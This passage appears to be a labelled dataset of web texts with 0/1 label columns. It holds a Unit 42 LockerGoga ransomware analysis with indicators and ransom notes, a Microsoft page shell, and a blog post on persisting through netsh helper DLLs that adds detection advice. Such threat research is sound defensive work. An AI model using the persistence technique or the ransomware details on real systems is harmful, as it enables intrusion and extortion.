Security","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Born This Way? Origins of LockerGoga Menu Tools Playbooks Speaking Events About Us Born This Way? Origins of LockerGoga 24,321 people reacted 0 10 min. read Share By Mike Harbison March 26, 2019 at 6:00 AM Category: Unit 42 Tags: LockerGoga, ransomware This Unit 42 blog provides insights into the ransomware attacks referred to as LockerGoga. The LockerGoga ransomware was first publicly reported in January by Bleeping Computer, which tied the malware to an attack against French engineering company Altran Technologies. Several variants have since been found in the wild, where they were used in attacks against Norwegian aluminum manufacturer Norsk Hydro and two chemical companies: Hexion and Momentive. Unit 42 reviewed malware samples from these attacks and found evidence that caused us to question the origin of the threat name. \xc2 \xe2\x80\x9cLockerGoga\xe2\x80\x9d was taken from a string that did not exist anywhere in the code used in the original attack on Altran.\xc2 Bleeping Computer reported that the name came from this source code path discovered by MalwareHunterTeam: X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\rijndael_simd.cpp for SHA256 bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f We were able to find this string referenced in earlier ransomware variants identified as Ransom.GoGalocker by Symantec, but not in the sample identified in Bleeping Computer\xe2\x80\x99s report. To avoid confusion, we will continue to use the LockerGoga name to refence the initial variant and its predecessors. Palo Alto Networks has identified 31 ransomware samples that are similar in behavior and code to the initial variant. In this report we will attempt to trace back to the origin of these samples, discuss their evolution, then expose some of their inner working capabilities and even faults. First LockerGoga Sample The earliest known sample of LockerGoga (SHA256: bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f) we found was submitted to VirusTotal on January 24. We believe this sample was used in the attack on Altran.\xc2 We do not know how the ransomware infected Altran\xe2\x80\x99s networks or propagated once there. Propagation Currently LockerGoga does not support any worm-like capabilities that would allow it to self-propagate by infecting additional hosts on a target network.\xc2 We have observed LockerGoga moving around a network via the server message block (SMB) protocol, which indicates the actors simply manually copy files from computer to computer. LockerGoga Characteristics This sample requires administrative privileges in order to successfully execute, though the specific mechanism for initial code execution is unknown. \xc2 Once it executes it seeks to\xc2 encrypt files on the infected computer and any attached hard drives.\xc2 Once it\xe2\x80\x99s fully executed, it leaves a ransom note on the user\xe2\x80\x99s desktop containing an email address to contact presumably for decryption and payment options. The initial sample was written in the C++ programming language and employs publicly available libraries such as Boost, Cryptopp and regex.\xc2 This sample includes a blacklist that excludes the following files and directories from encryption: readme-now.txt files starting with ntsuser or usrclass File extensions: .dll, .lnk, .sys, .locked Microsoft\\Windows\\burn dat log The malware does not support any self-propagating code to infect other hosts on the network and is signed by a certificate issued in the name MIKL LIMITED, which has been revoked.\xc2 The following command line arguments are also supported: Command Line Description -w Work:\xc2 This is the default command line parameter and encrypts all files on the host.\xc2 It also wipes all free space by creating the following file c:\\wipe and filling it with random data the size of the free space available on the drive.\xc2 The file is then deleted.\xc2 This parameter can also be used to encrypt a single file i.e. -w filename.exe -r Dry Run:\xc2 Does not encrypt any files on the host. -l Log:\xc2 Creates a log file off the root drive named cl.log. -f File:\xc2 Used to encrypt a single file. Table 1. Supported command line arguments Encryption LockerGoga uses the Cryptopp library to implement RSA, as implementing RSA from scratch would be very time consuming and error prone.\xc2 To encrypt files, (Strong RSA) RSA-OAEP MGF1(SHA-1) is used.\xc2 The RSA public key found in this sample is: 00000000\xc2 \xc2 4D 49 47 64 4D 41 30 47\xc2 43 53 71 47 53 49 62 33\xc2 \xc2 MIGdMA0GCSqGSIb3 00000016\xc2 \xc2 44 51 45 42 41 51 55 41\xc2 41 34 47 4C 41 44 43 42\xc2 \xc2 DQEBAQUAA4GLADCB 00000032\xc2 \xc2 68 77 4B 42 67 51 43 46\xc2 66 33 43 54 59 79 41 79\xc2 \xc2 hwKBgQCFf3CTYyAy 00000048\xc2 \xc2 6F 79 5A 71 52 33 6E 48\xc2 63 4C 4A 2B 49 2F 71 69 \xc2 \xc2 oyZqR3nHcLJ+I/qi 00000064\xc2 \xc2 2F 50 57 77 57 54 75 6C\xc2 20 6C 4D 69 4E 32 54 47\xc2 \xc2 /PWwWTul lMiN2TG 00000080\xc2 \xc2 4D 41 4D 62 34 39 75 58\xc2 51 32 79 43 34 4D 5A 76\xc2 \xc2 MAMb49uXQ2yC4MZv 00000096\xc2 \xc2 5A 76 4B 53 50 55 44 6F\xc2 33 61 4D 67 5A 4A 71 30\xc2 \xc2 ZvKSPUDo3aMgZJq0 00000112\xc2 \xc2 78 75 52 53 42 34 58 6F\xc2 73 6D 73 30 5A 39 51 4B\xc2 \xc2 xuRSB4Xosms0Z9QK 00000128\xc2 \xc2 70 76 47 6C 6A 4E 48 36\xc2 79 34 50 59 4E 39 38 2F\xc2 \xc2 pvGljNH6y4PYN98/ 00000144\xc2 \xc2 76 20 79 31 7A 4F 6B 34\xc2 70 45 69 53 68 43 32 49\xc2 \xc2 v y1zOk4pEiShC2I 00000160\xc2 \xc2 47 46 50 4A 32 47 71 33\xc2 4F 63 2B 41 78 4F 37 57\xc2 \xc2 GFPJ2Gq3Oc+AxO7W 00000176\xc2 \xc2 6F 2F 62 42 76 35 34 32\xc2 52 51 30 67 50 55 77 7A\xc2 \xc2 o/bBv542RQ0gPUwz 00000192\xc2 \xc2 79 54 53 66 71 6A 44 47\xc2 35 33 35 73 38 57 73 76\xc2 \xc2 yTSfqjDG535s8Wsv 00000208\xc2 \xc2 4B 73 79 77 49 42 45 51\xc2 3D 3D\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 KsywIBEQ== Table 2. RSA Public key found in initial LockerGoga sample Although RSA-OAEP MGF1 has features that make it more secure, the added computational overhead causes encryption to take longer and has difficulty handling large files.\xc2 To mitigate this, the developers launch multiple child processes that work in parallel to maximize encryption speed.\xc2 To overcome large files, the developers decided to encrypt chunks of a file every 80,000 bytes and skip the next 80,000 bytes of a file. \xc2 Example: Figure 1. Data encrypted in 80,000 byte chunks Because of this, partial recovery of large files might be possible even without the decryption key. Although the developers attempt to use a blacklist of files and directories to skip, it was observed encrypting core Windows operating system files, which caused the operating system to become unstable and crash. This was observed when running the ransomware on a Windows 2012 machine. Early Development Based on our analysis, we believe this variant is an early release of LockerGoga ransomware. The developers left behind command line parameters such as -r which allows the malware to run without encrypting anything.\xc2 This can be used in conjunction with -l (log) to test how the ransomware behaves.\xc2 Both of these parameters are suggestive of an initial, or test, build.\xc2 The -r specifically was not observed in later variants. According to the Bleeping Computer report, the ransomware appeared to encrypt only the following specific file extensions: doc|dot|wbk|docx|dotx|docb|xlm|xlsx|xltx|xlsb|xlw|ppt|pot|pps|pptx|potx|ppsx|sldx|pdf. Our analysis found that the malware does not use the code block that checks for specific file extensions.\xc2 Instead, we observed that the malware encrypts all files except those in the blacklist. It also has issues with large files, which is addressed in later variants. Development Cycle Like other active software projects, the LockerGoga ransomware is under constant development with new variants being developed and used to attack victims.\xc2 All these variants share similar characteristics and just like other professional development, each release contains improvements or new capabilities. To counter this ongoing development cycle, security researchers have to focus on identifying new variants. To that end, we highlight some of the evolutionary changes we have observed since the malware surfaced in January: Dropped the -r and -f command line arguments Log file renamed from cl.log to .log Ransomware note is no longer encoded in the binary Ransomware note renamed from README_NOW.txt to README_LOCKED.TXT Added the following command line parameters: Parameter Description -i Inter process communication (IPC) -s Slave (child process) -m Master Process Began using mutexes (example: SM-zzbdrimp) to identify processes for inter-process communication. Stopped using svch0st[numeric value].exe as a process name and began using distinct hard-coded names for each sample. Uses undocumented Windows API calls (for example NtQuerySection) Changes administrator password to HuHuHUHoHo283283@dJD Stopped creating a wipe file to erase free space and instead uses Windows cipher.exe with command parameter /w to wipe free space on the host Added importation of WS2_32.dll, possibly to support network communications Changed the format and collection of data recorded in the log file Updated encryption of files and directories. No longer encrypts all files on the host: instead targets specific file extensions and directories Calls into Windows Restart Manager session for possible token elevation to overwrite trusted installer files Uses the following digital signers: ALISA LTD KITTY\xe2\x80\x99S LTD MIKL LIMITED Logs off the current user The inclusion of the word \xe2\x80\x9cGoga\xe2\x80\x9d in the binary and encrypted files Conclusion LockerGoga\xe2\x80\x99s developers continue to add capabilities and launch new attacks.\xc2 The addition of WS2_32.dll and use of undocumented Windows API calls indicates a level of sophistication beyond typical ransomware authors. The former could lead to the eventual inclusion of C2 communication or automated propagation, and the latter requires some working knowledge of Windows internals. These features raise more questions about the actor\xe2\x80\x99s intent as ransomware is typically one of the least advanced forms of malware:\xc2 Are they motivated by profits or something else? Has the motive change over time?\xc2 Why would developers put such effort into their work only to partially encrypt files. Why do they include an email address and not seek payment through more frequently used cryptocurrencies? We do not know if any of the victims have paid the ransom and were able to successfully retrieve their data. We do know that this ransomware has caused significant harm. The damage could increase significantly if \xc2 the attackers continue to refine this ransomware. Unit 42 will continue to monitor LockerGoga and report on new activity. WildFire properly identifies all of the malware samples listed in this report as malicious. Traps prevents execution of LockerGoga samples and AutoFocus customers can view LockerGoga samples using the LockerGoga tag. Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org. Indicators of Compromise LockerGoga Samples ae7e9839b7fb750128147a9227d3733dde2faacd13c478e8f4d8d6c6c2fc1a55 f474a8c0f66dee3d504fff1e49342ee70dd6f402c3fa0687b15ea9d0dd15613a ffab69deafa647e2b54d8daf8c740b559a7982c3c7c1506ac6efc8de30c37fd5 c1670e190409619b5a541706976e5a649bef75c75b4b82caf00e9d85afc91881 65d5dd067e5550867b532f4e52af47b320bd31bc906d7bf5db889d0ff3f73041 31fdce53ee34dbc8e7a9f57b30a0fbb416ab1b3e0c145edd28b65bd6794047c1 32d959169ab8ad7e9d4bd046cdb585036c71380d9c45e7bb9513935cd1e225b5 e00a36f4295bb3ba17d36d75ee27f7d2c20646b6e0352e6d765b7ac738ebe5ee 6d8f1a20dc0b67eb1c3393c6c7fc859f99a12abbca9c45dcbc0efd4dc712fb7c 79c11575f0495a3daaf93392bc8134c652360c5561e6f32d002209bc41471a07 050b4028b76cd907aabce3d07ebd9f38e56c48c991378d1c65442f9f5628aa9e 1f9b5fa30fd8835815270f7951f624698529332931725c1e17c41fd3dd040afe 276104ba67006897630a7bdaa22343944983d9397a538504935f2ec7ac10b534 88d149f3e47dc337695d76da52b25660e3a454768af0d7e59c913995af496a0f c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15 06e3924a863f12f57e903ae565052271740c4096bd4b47c38a9604951383bcd1 a845c34b0f675827444d6c502c0c461ed4445a00d83b31d5769646b88d7bbedf 7bcd69b3085126f7e97406889f78ab74e87230c11812b79406d723a80c08dd26 ba15c27f26265f4b063b65654e9d7c248d0d651919fafb68cb4765d1e057f93f eda26a1cd80aac1c42cdbba9af813d9c4bc81f6052080bc33435d1e076e75aa0 7852b47e7a9e3f792755395584c64dd81b68ab3cbcdf82f60e50dc5fa7385125 14e8a8095426245633cd6c3440afc5b29d0c8cd4acefd10e16f82eb3295077ca 47f5a231f7cd0e36508ca6ff8c21c08a7248f0f2bd79c1e772b73443597b09b4 f3c58f6de17d2ef3e894c09bc68c0afcce23254916c182e44056db3cad710192 9128e1c56463b3ce7d4578ef14ccdfdba15ccc2d73545cb541ea3e80344b173c c3d334cb7f6007c9ebee1a68c4f3f72eac9b3c102461d39f2a0a4b32a053843a 6e69548b1ae61d951452b65db15716a5ee2f9373be05011e897c61118c239a77 8cfbd38855d2d6033847142fdfa74710b796daf465ab94216fbbbe85971aee29 bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f 5b0b972713cd8611b04e4673676cdff70345ac7301b2c23173cdfeaff564225c c7a69dcfb6a3fe433a52a71d85a7e90df25b1db1bc843a541eb08ea2fd1052a4 Appendix The latest variant of LockerGoga uses memory mapped files to communicate between processes.\xc2 To illustrate this, we captured the memory of a section created by a child process. 00000000\xc2 \xc2 02 00 00 00 00 00 00 00\xc2 00 00 00 00 01 00 00 00\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 00000016\xc2 \xc2 D0 02 01 00 CC 02 01 00\xc2 C8 02 01 00 30 00 00 00\xc2 \xc2 \xc3\x90\xc2 \xc2 \xc3\x8c\xc2 \xc2 \xc3\x88\xc2 \xc2 0\xc2 \xc2 00000032\xc2 \xc2 80 02 01 00 F8 FF 0F 00\xc2 00 00 00 00 00 00 00 00\xc2 \xc2 \xe2\x82\xac\xc2 \xc2 \xc3\xb8\xc3\xbf\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 00000048\xc2 \xc2 FF FF FF FF 00 00 00 00\xc2 01 00 00 00 24 00 00 00\xc2 \xc2 \xc3\xbf\xc3\xbf\xc3\xbf\xc3\xbf\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $\xc2 \xc2 00000064\xc2 \xc2 20 00 00 00 1C 00 00 00\xc2 00 00 00 00 01 00 00 00\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 00000080\xc2 \xc2 FC FF FF FF F8 FF FF FF\xc2 F4 FF 01 00 0B 20 00 C0\xc2 \xc2 \xc3\xbc\xc3\xbf\xc3\xbf\xc3\xbf\xc3\xb8\xc3\xbf\xc3\xbf\xc3\xbf\xc3\xb4\xc3\xbf\xc2 \xc2 \xc2 \xc2 \xc3\x80 00000096\xc2 \xc2 DE FF FF FF 01 00 00 00\xc2 01 00 00 00 38 00 01 00\xc2 \xc2 \xc3\x9e\xc3\xbf\xc3\xbf\xc3\xbf\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 8\xc2 \xc2 00000112\xc2 \xc2 01 00 04 21 10 01 00 00\xc2 00 00 00 00 00 7A 70 63\xc2 \xc2 \xc2 \xc2 \xc2 !\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 zpc 00000128\xc2 \xc2 55 48 4A 76 5A 33 4A 68\xc2 62 53 42 47 61 57 78 6C\xc2 \xc2 UHJvZ3JhbSBGaWxl 00000144\xc2 \xc2 63 31 78 57 54 58 64 68\xc2 63 6D 56 63 56 6B 31 33\xc2 \xc2 c1xWTXdhcmVcVk13 00000160\xc2 \xc2 59 58 4A 6C 49 46 52 76\xc2 62 32 78 7A 58 47 64 73\xc2 \xc2 YXJlIFRvb2xzXGds 00000176\xc2 \xc2 61 57 49 74 4D 69 34 77\xc2 4C 6D 52 73 62 41 3D 3D\xc2 \xc2 aWItMi4wLmRsbA== 00000192\xc2 \xc2 64 48 42 6A 63 48 4D 75\xc2 5A 47 78 73 63 6D 56 7A\xc2 \xc2 dHBjcHMuZGxscmVz 00000208\xc2 \xc2 65 43 35 6B 62 47 77 75\xc2 62 58 56 70 4E 46 39 66\xc2 \xc2 eC5kbGwubXVpNF9f 00000224\xc2 \xc2 4F 48 64 6C 61 33 6C 69\xc2 4D 32 51 34 59 6D 4A 33\xc2 \xc2 OHdla3liM2Q4YmJ3 00000240\xc2 \xc2 5A 54 68 68 5A 44 46 68\xc2 4E 7A 51 77 4C 54 52 68\xc2 \xc2 ZThhZDFhNzQwLTRh 00000256\xc2 \xc2 4E 32 59 74 4E 47 45 78\xc2 59 53 30 35 4F 54 45 78\xc2 \xc2 N2YtNGExYS05OTEx 00000272\xc2 \xc2 4C 54 51 79 4D 57 51 30\xc2 4D 6A 49 34 4D 7A 52 6C\xc2 \xc2 LTQyMWQ0MjI4MzRl 00000288\xc2 \xc2 5A 46 78 42 63 33 4E 6C\xc2 64 48 4E 63 55 6D 56 7A\xc2 \xc2 ZFxBc3NldHNcUmVz 00000304\xc2 \xc2 62 33 56 79 59 32 56 7A\xc2 58 46 4A 6C 63 58 56 70\xc2 \xc2 b3VyY2VzXFJlcXVp 00000320\xc2 \xc2 63 6D 56 6B 55 48 4A 70\xc2 62 6E 52 44 59 58 42 68\xc2 \xc2 cmVkUHJpbnRDYXBh 00000336\xc2 \xc2 59 6D 6C 73 61 58 52 70\xc2 5A 58 4D 75 65 47 31 73\xc2 \xc2 YmlsaXRpZXMueG1s 00000352\xc2 \xc2 65 6D 55 74 4E 44 68 66\xc2 59 57 78 30 5A 6D 39 79\xc2 \xc2 emUtNDhfYWx0Zm9y 00000368\xc2 \xc2 62 53 31 31 62 6E 42 73\xc2 59 58 52 6C 5A 43 35 77\xc2 \xc2 bS11bnBsYXRlZC5w 00000384\xc2 \xc2 62 6D 63 3D 62 53 31 31\xc2 62 6E 42 73 59 58 52 6C\xc2 \xc2 bmc=bS11bnBsYXRl 00000400\xc2 \xc2 5A 43 35 77 62 6D 63 3D\xc2 00 00 00 00 00 00 00 00\xc2 \xc2 ZC5wbmc=\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Table 3. Child process mapped file The 1st byte (02) instructs the master process to process the data below. The data is base64 encoded in three parts and decodes to the following: Part 1: Unknown value Part 2: tpcps.dllresx.dll.mui4__8wekyb3d8bbwe8ad1a740-4a7f-4a1a-9911-421d422834ed\\Assets\\Resources\\RequiredPrintCapabilities.xmlze-48_altform-unplated.png Part 3: m-unplated.png Example of initial variant of LockerGoga running on a host: Figure\xc2 2. Initial LockerGoga running Initial LockerGoga Ransom Note: Greetings! \xc2 There was a significant flaw in the security system of your company. You should be thankful that the flaw was exploited by serious people and not some rookies. They would have damaged all of your data by mistake or for fun. \xc2 Your files are encrypted with the strongest military algorithms RSA4096 and AES-256. Without our special decoder it is impossible to restore the data. Attempts to restore your data with third party software as Photorec, RannohDecryptor etc. will lead to irreversible destruction of your data. \xc2 To confirm our honest intentions. Send us 2-3 different random files and you will get them decrypted. It can be from different computers on your network to be sure that our decoder decrypts everything. Sample files we unlock for free (files should not be related to any kind of backups). \xc2 We exclusively have decryption software for your situation \xc2 DO NOT RESET OR SHUTDOWN \xe2\x80\x93 files may be damaged. DO NOT RENAME the encrypted files. DO NOT MOVE the encrypted files. This may lead to the impossibility of recovery of the certain files. \xc2 To get information on the price of the decoder contact us at: CottleAkela@protonmail.com;QyavauZehyco1994@o2.pl The payment has to be made in Bitcoins. The final price depends on how fast you contact us. As soon as we receive the payment you will get the decryption tool and instructions on how to improve your systems security Figure 3. Initial LockerGoga ransom note \xc2 Latest LockerGoga Ransom Note: Greetings! \xc2 There was a significant flaw in the security system of your company. You should be thankful that the flaw was exploited by serious people and not some rookies. They would have damaged all of your data by mistake or for fun. \xc2 Your files are encrypted with the strongest military algorithms RSA4096 and AES-256. Without our special decoder it is impossible to restore the data. Attempts to restore your data with third party software as Photorec, RannohDecryptor etc. will lead to irreversible destruction of your data. \xc2 To confirm our honest intentions. Send us 2-3 different random files and you will get them decrypted. It can be from different computers on your network to be sure that our decoder decrypts everything. Sample files we unlock for free (files should not be related to any kind of backups). \xc2 We exclusively have decryption software for your situation \xc2 DO NOT RESET OR SHUTDOWN \xe2\x80\x93 files may be damaged. DO NOT RENAME the encrypted files. DO NOT MOVE the encrypted files. This may lead to the impossibility of recovery of the certain files. \xc2 The payment has to be made in Bitcoins. The final price depends on how fast you contact us. As soon as we receive the payment you will get the decryption tool and instructions on how to improve your systems security \xc2 To get information on the price of the decoder contact us at: \xc2 MayarChenot@protonmail.com QicifomuEjijika@o2.pl Figure 4. Latest LockerGoga ransom note Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","0","1","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Skip to main content Microsoft Microsoft Support Office Windows Surface Xbox Deals Support More Software Windows apps OneDrive Outlook Skype OneNote PCs & Devices PCs & tablets Accessories Entertainment Xbox games PC games Windows digital games Movies & TV Books Business Microsoft Azure Microsoft Dynamics 365 Microsoft 365 Microsoft Industry Data platform Microsoft Advertising Licensing Developer & IT .NET Visual Studio Windows Server Windows Dev Center Docs Other Microsoft Store Microsoft Rewards Free downloads & security Education Store locations Gift cards View Sitemap 0 Sign in Microsoft Support Contact us Javascript is disabled Please enable javascript and refresh the page {{search404Captions.content404Title}} {{search404Captions.content404Description}} {{search404Captions.searchIcon}} {{search404Captions.noResult}} Cookies are disabled Please enable cookies and refresh the page CV: {{ getCv() }} What's new Surface Pro 6 Surface Laptop 2 Surface Go Xbox One X Xbox One S VR & mixed reality Windows 10 apps Office apps Microsoft Store Account profile Download Center Microsoft Store support Returns Order tracking Store locations Buy online, pick up in store Education Microsoft in education Office for students Office 365 for schools Deals for students & parents Microsoft Azure in education Enterprise Azure AppSource Automotive Government Healthcare Manufacturing Financial services Retail Developer Microsoft Visual Studio Windows Dev Center Developer Network TechNet Microsoft developer program Channel 9 Office Dev Center Microsoft Garage Company Careers About Microsoft Company news Privacy at Microsoft Investors Diversity and inclusion Accessibility Security English (United States) Contact us Terms of use Privacy and cookies Trademarks Safety & eco \xc2\xa9 Microsoft 2019","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"By Matthew Demaske, Director of Threat Research, Adapt Forward Cyber Security I\xe2\x80\x99m always looking for ways an adversary can execute something on a system via \xe2\x80\x9ctrusted\xe2\x80\x9d methods. One great example is Powershell. It\xe2\x80\x99s beloved by sysadmins and hackers alike. AV won\xe2\x80\x99t care and Virustotal says it\xe2\x80\x99s squeaky clean. I\xe2\x80\x99m not going to go into all the various avenues of attack via Powershell because I\xe2\x80\x99ll be here all night. Just know that anything that\xe2\x80\x99s available to your users/staff is available to an attacker. After all, once someone gets into your network, what separates them from a legitimate user? Nothing. Any tool that will give you information about a system(s) is fair game. Ipconfig may seem like a harmless command, but it can give an attacker useful information. Same goes for a ton of other commands. Check out this big list of native commands regularly used in recorded cyber attacks: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html. Built in native Windows tools are some of the best ways to pwn a network while avoiding detection. The discouraging thing is that most of these commands occur thousands upon thousands of times legitimately on your network. Simply throwing ipconfig.exe into a blacklist for your SIEM to alert on will make people very angry at you. These aren\xe2\x80\x99t traditional indicators of compromise, but with added context, they absolutely can be. This is why I\xe2\x80\x99m a fan of hiring real human people to hunt, instead of buying a box or a feed subscription. But, that\xe2\x80\x99s a rant for another post. To get back on track, I was researching ways an adversary could use the Windows Firewall command line tool called netsh(NetShell) when I saw something curious in the list of available commands: \xe2\x80\x9cadd\xe2\x80\x9d netsh1 Add what? netsh4 Installs a DLL? Que!? I found a POC DLL I use for stuff that just pops calc and figured why not. There\xe2\x80\x99s no way it\xe2\x80\x99s going to just run this, right? netsh5 Dang. What is InitHelperDLL? To Google we go. According to Microsoft The InitHelperDll function is called by NetShell to perform an initial loading of a helper. \xe2\x80\x93https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx Ok, a required export. What\xe2\x80\x99s a helper? NetShell helpers are DLL files that provide the functionality of a context. Additional helpers extend the functionality of NetShell by providing administrative scripting for networking tasks. Helpers generally provide configuration support, monitoring support, or both, for networking services, utilities, or protocols. \xe2\x80\x93https://msdn.microsoft.com/en-us/library/windows/desktop/ms708347(v=vs.85).aspx At this point, I reach out to Casey Smith, who is really good at finding obscure ways of executing code in Windows. He\xe2\x80\x99s written extensively on the subject @ https://subt0x10.blogspot.com. I ask him if he\xe2\x80\x99s ever heard of this technique and he says he hasn\xe2\x80\x99t. A few minutes later and he\xe2\x80\x99s got a working POC going. netsh6 thumbnail So where do we go from here? Well, I wanted to reverse what I had just done via the \xe2\x80\x9cdelete helper \xe2\x80\x9d command. So I opened another prompt to delete the entry and\xe2\x80\xa6 netsh7 Whoa, it executed again. It\xe2\x80\x99s persistent. So, I went back to the Net Helper reference section and found this. Helpers are DLL files that implement a NetShell context and zero or more of its subcontexts, and are registered with Windows through the system registry. -https://msdn.microsoft.com/en-us/library/windows/desktop/ms708320(v=vs.85).aspx through the system registry through the system registry through the system registry through the system registry through the system registry This just got better. Pulled up the registry and searched for my DLL. netsh8 The entry is made in the HKLM\\SOFTWARE\\Microsoft\\Netsh key. All the other DLLs reside in the System folder, but it\xe2\x80\x99s not a requirement for your evil DLL. It\xe2\x80\x99ll run from anywhere. My advice would be to put it in a location where any user account can read from, like System or AppData. You do need admin rights for this by the way. Or at least rights that will let whatever context you\xe2\x80\x99re in write to HKLM. The only caveat is that netsh.exe must be ran first for the dll to execute. Netsh doesn\xe2\x80\x99t automatically run on boot by default, but you could easily use a scheduled task for example. Or a start service. Or a Powershell profile. Or a RunOnce key. Or blah blah blah. schtask Default view of Autoruns won\xe2\x80\x99t catch it with any listed user account. autorun You would need to uncheck the \xe2\x80\x9cHide Windows Entries\xe2\x80\x9d options to see it autorun2 \xe2\x80\x9cBut, it\xe2\x80\x99s signed, and Virustotal didn\xe2\x80\x99t find anything!\xe2\x80\x9d I know of one popular corporate VPN client program that regularly invokes netsh. I wonder how many of them do? Besides VPN clients, how many programs check or alter the windows firewall from the command line when they're installed or start? They use netsh to do it. Netsh is usually run under SYSTEM context, too. So, depending on the environment, you may not even need to force netsh to run with a traditional persistence mechanism. This is why recon is important before you go making noise you don\xe2\x80\x99t necessarily need to make. Regarding the defensive side, if you\xe2\x80\x99re doing real-time hunting with a tool like Sysmon(which I HIGHLY HIGHLY recommend), you\xe2\x80\x99re going to want to look for any child processes of netsh.exe netshsysmon I have a client with a pretty sizable group of hosts and I searched going back 120 days looking for children of netsh.exe. There were zero among MILLIONS of netsh.exe processes started. Other general tips/methods to stop or detect this attack: -Obviously scan the HKLM\\SOFTWARE\\Microsoft\\Netsh key for any new entries. Easy. You should have a dynamic list of possible persistence locations anyway in the registry anyway. \xe2\x80\x93Your team should be looking for registry changes made via CMD, powershell, and/or WMI. It may happen frequently, but the more time an analyst spends getting to know their territory, the easier it gets to spot things that look odd. -DLL whitelisting. Microsoft\xe2\x80\x99s Applocker will let you configure policy rules on dll executions. This is why I\xe2\x80\x99m a huge fan of organizations creating \xe2\x80\x9cgold images\xe2\x80\x9d of their operating systems. As a hunter, I know what the baseline is and searching for anomalies is easier. If I\xe2\x80\x99m a system admin, gold images make whitelisting so much easier. I\xe2\x80\x99ll know exactly what to allow and what to block. Any changes need to be approved. Now, if you have no gold image, creating DLL whitelists can be a nightmare. If you start rolling out DLL rules, you can break a lot of important stuff. The good news is that you can create Applocker DLL rules that are audit only. The DLLs will still run, but there will be a Warning message written to the Applocker log. Suck those logs up into your SIEM and go hunting. So, how important is this finding? I have no idea. Will it become the next heartbleed? Is it super NSA zero day complicated? Hardly. But, it\xe2\x80\x99s another avenue an adversary can use. Remember, defenders need to worry about numerous of ways an attacker can carry out their plan. Attackers only need to find one. I doubt too many folks are monitoring the netsh key for changes or monitoring child processes of netsh.exe. But hey, maybe you will now. Again, thanks to Casey Smith for the quick response and for the work on the POC. I also want to give a shout out 